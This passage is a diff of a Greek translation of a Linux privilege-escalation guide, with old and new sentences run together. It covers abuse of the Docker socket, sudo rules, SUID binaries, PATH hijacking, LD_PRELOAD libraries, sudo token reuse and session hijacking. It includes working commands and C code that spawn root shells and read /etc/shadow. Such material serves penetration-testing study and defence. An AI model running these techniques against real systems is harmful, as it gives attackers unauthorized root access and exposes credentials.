Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η backdoor θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **πρέπει πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\ Αν βρείτε ένα **γραφτό** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
&#xNAN;_&#x4E;ote ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση αρχείου socket ή η backdoor δεν θα εκτελείται_ &#xNAN;_&#x4E;ote ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_
### Writable sockets ### Writable sockets
Αν **εντοπίσετε οποιονδήποτε writable socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια. Αν **εντοπίσετε οποιονδήποτε γραφτό socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.
### Enumerate Unix Sockets ### Enumerate Unix Sockets
```bash ```bash
@ -481,19 +481,19 @@ socket-command-injection.md
### HTTP sockets ### HTTP sockets
Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με: Σημειώστε ότι μπορεί να υπάρχουν **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για .socket αρχεία αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με:
```bash ```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
``` ```
Αν το socket **απαντά με ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **εκμεταλλευτείτε κάποια ευπάθεια**. Αν το socket **απαντήσει με ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **εκμεταλλευτείτε κάποια ευπάθεια**.
### Γράψιμο Docker Socket ### Γράψιμο Docker Socket
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι γράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι γράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
#### **Κλιμάκωση Δικαιωμάτων με Docker CLI** #### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές: Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
```bash ```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -564,7 +564,7 @@ runc-privilege-escalation.md
Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, απλοποιώντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών. Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **Δίκτυο** ## **Δίκτυο**
Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να ανακαλύπτετε τη θέση της μηχανής. Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να κατανοείτε τη θέση της μηχανής.
### Γενική καταγραφή ### Γενική καταγραφή
```bash ```bash
@ -629,7 +629,7 @@ timeout 1 tcpdump
### Γενική Αρίθμηση ### Γενική Αρίθμηση
Έλεγξε **ποιος** είσαι, ποιες **privileges** έχεις, ποιοι **χρήστες** είναι στα συστήματα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges:** Έλεγξε **ποιος** είσαι, ποια **προνόμια** έχεις, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **συνδεθούν** και ποιοι έχουν **δικαιώματα root:**
```bash ```bash
#Info about me #Info about me
id || (whoami && groups) 2>/dev/null id || (whoami && groups) 2>/dev/null
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
``` ```
### Big UID ### Big UID
Ορισμένες εκδόσεις του Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με **UID > INT_MAX** να κερδίζουν δικαιώματα διαχειριστή. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\ Ορισμένες εκδόσεις του Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει στους χρήστες με **UID > INT_MAX** να κερδίζουν δικαιώματα. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** **Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`**
### Groups ### Groups
@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH ### $PATH
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από έναν φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH. Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH.
### SUDO και SUID ### SUDO και SUID
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab: User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/vim
``` ```
Σε αυτό το παράδειγμα, ο χρήστης `demo` μπορεί να εκτελέσει `vim` ως `root`, είναι τώρα απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο root ή καλώντας `sh`. Σε αυτό το παράδειγμα, ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`, είναι τώρα απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο root ή καλώντας το `sh`.
``` ```
sudo vim -c '!sh' sudo vim -c '!sh'
``` ```
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
``` ```
### Sudo εκτέλεση παράκαμψη διαδρομών ### Sudo εκτέλεση παράκαμψη διαδρομών
**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ **Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash ```bash
sudo less /var/logs/anything sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less less>:e /etc/shadow #Jump to read other files using privileged less
@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file sudo less /var/log/new #Use symlinks to read any file
``` ```
Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμα πιο εύκολο: Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμη πιο εύκολο:
```bash ```bash
sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files sudo less /var/log/something /etc/shadow #Red 2 files
@ -757,21 +757,21 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Εντολή Sudo/SUID δυαδικό αρχείο χωρίς διαδρομή εντολής ### Εντολή Sudo/SUID δυαδικό αρχείο χωρίς διαδρομή εντολής
Εάν η **άδεια sudo** έχει δοθεί σε μια μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH Εάν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
```bash ```bash
export PATH=/tmp:$PATH export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less" #Put your backdoor in /tmp and name it "less"
sudo less sudo less
``` ```
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή χωρίς να καθορίζει τη διαδρομή της (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός παράξενου SUID δυαδικού αρχείου)**. Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή χωρίς να καθορίζει τη διαδρομή της (πάντα έλεγξε με** _**strings**_ **το περιεχόμενο ενός παράξενου SUID δυαδικού αρχείου)**.
[Παραδείγματα payload για εκτέλεση.](payloads-to-execute.md) [Παραδείγματα payload για εκτέλεση.](payloads-to-execute.md)
### SUID δυαδικό αρχείο με διαδρομή εντολής ### SUID δυαδικό αρχείο με διαδρομή εντολής
Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να προσπαθήσετε να **εξάγετε μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid. Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid.
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσετε να δημιουργήσετε τη συνάρτηση και να την εξάγετε: Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
```bash ```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service export -f /usr/sbin/service
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
``` ```
> [!CAUTION] > [!CAUTION]
> Μια παρόμοια εκμετάλλευση privesc μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. > Μια παρόμοια εκμετάλλευση μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
} }
``` ```
Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να ανυψώσει τα δικαιώματα πρόσβασης χειραγωγώντας τις άδειες αρχείων και εκτελώντας ένα shell με ανυψωμένα δικαιώματα. Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να ανυψώσει τα δικαιώματα πρόσβασης χειρίζοντας τις άδειες αρχείων και εκτελώντας ένα shell με ανυψωμένα δικαιώματα.
Μεταγλωττίστε το παραπάνω αρχείο C σε ένα αρχείο κοινής βιβλιοθήκης (.so) με: Μεταγλωττίστε το παραπάνω αρχείο C σε ένα αρχείο κοινής βιβλιοθήκης (.so) με:
```bash ```bash
@ -894,29 +894,33 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή. [**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα shells, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
> gdb -nx -ex '!sh' -ex quit\ > gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\ > sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\ > strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}' > sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %} {{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %} {{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo ### FallOfSudo
Εάν μπορείτε να αποκτήσετε πρόσβαση στο `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. Εάν μπορείτε να αποκτήσετε πρόσβαση στο `sudo -l`, μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo.
### Επαναχρησιμοποίηση Σημείων Sudo ### Επαναχρησιμοποίηση Σημείων Sudo
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**. Σε περιπτώσεις όπου έχετε **sudo πρόσβαση** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας τον τόκο συνεδρίας**.
Απαιτήσεις για την κλιμάκωση προνομίων: Απαιτήσεις για την κλιμάκωση προνομίων:
- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_" - Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης) - "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του σημείου sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) - `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
@ -924,7 +928,7 @@ system("/bin/bash -p");
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): - Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
```bash ```bash
bash exploit.sh bash exploit.sh
/tmp/activate_sudo_token /tmp/activate_sudo_token
@ -1044,8 +1048,8 @@ execve(file,argv,0);
``` ```
## Δυνατότητες ## Δυνατότητες
Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό σπάει αποτελεσματικά τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό ουσιαστικά σπάει τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\
Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις εκμεταλλευτείτε**: Διαβάστε την παρακάτω σελίδα για να **μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις εκμεταλλευτείτε**:
{{#ref}} {{#ref}}
linux-capabilities.md linux-capabilities.md
@ -1058,7 +1062,7 @@ linux-capabilities.md
## ACLs ## ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο: **Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
```bash ```bash
@ -1071,9 +1075,9 @@ setfacl -b file.txt #Remove the ACL of the file
```bash ```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
``` ```
## Ανοιχτές συνεδρίες shell ## Ανοιχτές συνεδρίες κελύφους
Σε **παλιές εκδόσεις** μπορείς να **καταλάβεις** κάποιες **συνεδρίες shell** ενός διαφορετικού χρήστη (**root**).\ Σε **παλιές εκδόσεις** μπορείς να **καταλάβεις** κάποιες **συνεδρίες κελύφους** ενός διαφορετικού χρήστη (**root**).\
Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
### Κατάληψη συνεδριών οθόνης ### Κατάληψη συνεδριών οθόνης
@ -1093,7 +1097,7 @@ screen -x [user]/[session id]
``` ```
## tmux sessions hijacking ## tmux sessions hijacking
Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις tmux**. Δεν μπόρεσα να υποκλέψω μια συνεδρία tmux (v2.1) που δημιουργήθηκε από τον root ως μη προνομιούχος χρήστης. Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις tmux**. Δεν μπόρεσα να αναλάβω μια συνεδρία tmux (v2.1) που δημιουργήθηκε από τον root ως μη προνομιούχος χρήστης.
**List tmux sessions** **List tmux sessions**
```bash ```bash
@ -1154,7 +1158,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
Host example.com Host example.com
ForwardAgent yes ForwardAgent yes
``` ```
Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (που είναι ένα ζήτημα ασφαλείας). Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (το οποίο είναι ένα ζήτημα ασφαλείας).
Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\ Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\
